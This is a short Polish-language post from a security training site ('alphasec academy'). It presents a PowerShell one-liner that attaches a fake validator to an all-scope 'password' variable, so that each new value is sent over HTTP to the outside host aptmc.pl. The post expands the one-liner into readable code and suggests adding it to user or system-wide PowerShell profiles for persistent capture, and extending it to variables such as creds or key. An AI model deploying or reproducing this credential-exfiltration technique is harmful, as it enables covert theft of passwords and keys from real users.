alphasec academy

(sv -o a -p password "").Attributes.Add([ValidateScript]({irm "aptmc.pl/?$_";return $true;})) - eksfiltruj zmienną password kiedy tylko zostanie ustawiona

Dodatkowe informacje

Powyższy enigmatyczny oneliner uznaję, za jeden z bardziej diabelskich onelinerów, jakie napisałem. ;) W wyniku jego działania, za każdym razem, kiedy zostanie przypisana jakaś wartość do zmiennej password, zostanie ona wyeksfiltrowana po HTTP/HTTPS pod adres aptmc.pl/?<zawartość zmiennej password>. W praktyce, oznacza to, że jeśli jakiemuś (lub wszystkim) użytkownikom dopiszemy tę linijkę do pliku profilowego ($PROFILE - profil aktualnego uzytkownika, $PSHOME/Profile.ps1 - plik profilowy wspólny dla wszystkich), za każdym razem kiedy zmienna password zmieni wartość, czy to poprzez przypisanie w konsoli czy też przez jakiś skrypt czy funkcję, zostanie ona przechwycona i wyeksfiltrowana.
Żeby lepiej zrozumieć co się dzieje, rozwińmy aliasy i skrócone parametry:
  • sv
    - alias na
    Set-Variable
    ,
  • -o a
    - skrócone przekazanie parametru
    -Option AllScope
    ,
  • -p
    - skrócony zapis parametru
    -PassThru
    , który powoduje, że zostanie zwrócony obiekt reprezentujący ustawioną zmienną (domyślnie
    Set-Variable
    nie zwraca niczego),
  • irm
    - alias na
    Invoke-RestMethod
    .
Dzięki temu, całość możemy przedstawić w nieco bardziej czytelny sposób:
Set-Variable -Name Password -Option AllScope -Value ""
$vBlock = {
  Invoke-RestMethod "aptmc.pl/?$_"
  return $true
}
$validator = [ValidateScript]($vBlock)
(Get-Variable -Name Password).Attributes.Add($validator)
Wyposażeni w tę wiedzę, wszystko już chyba staje się jasne. Cała idea polega na tym, że:
  • definiujemy zmienną o nazwie Password, ustawiając jej opcję
    AllScope
    , która powoduje, że będzie one dostępna we wszystkich zasięgach (nawet jeśli jakiś skrypt czy funkcja jawnie ustawi sobie zmienną Password jako
    local:
    czy
    private:
    (!!)),
  • definiujemy validator, który zamiast faktycznej walidacji eksfiltruje zawartość zmiennej po HTTP/HTTPS za pomocą cmdletu
    Invokt-RestMethod
    ; validator zwraca
    $true
    , co oznacza, że zmienna jest poprawna (w przeciwnym razie Powershell poinformowałby o błędzie),
  • dodajemy validator do zmiennej Password, w wyniku czego zostanie on zawsze uruchomiony, kiedy jej zawartość ulegnie zmianie.
Zachęcam do przemyślania sobie kilku scenariuszy, kiedy to może być wykorzystane i do czego to może prowadzić. Oczywiście zamiast czy też obok zmiennej Password analogicznie, mogą być potraktowane zmienne typu pass, credentials, creds, key etc.

Subskrybuj

Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.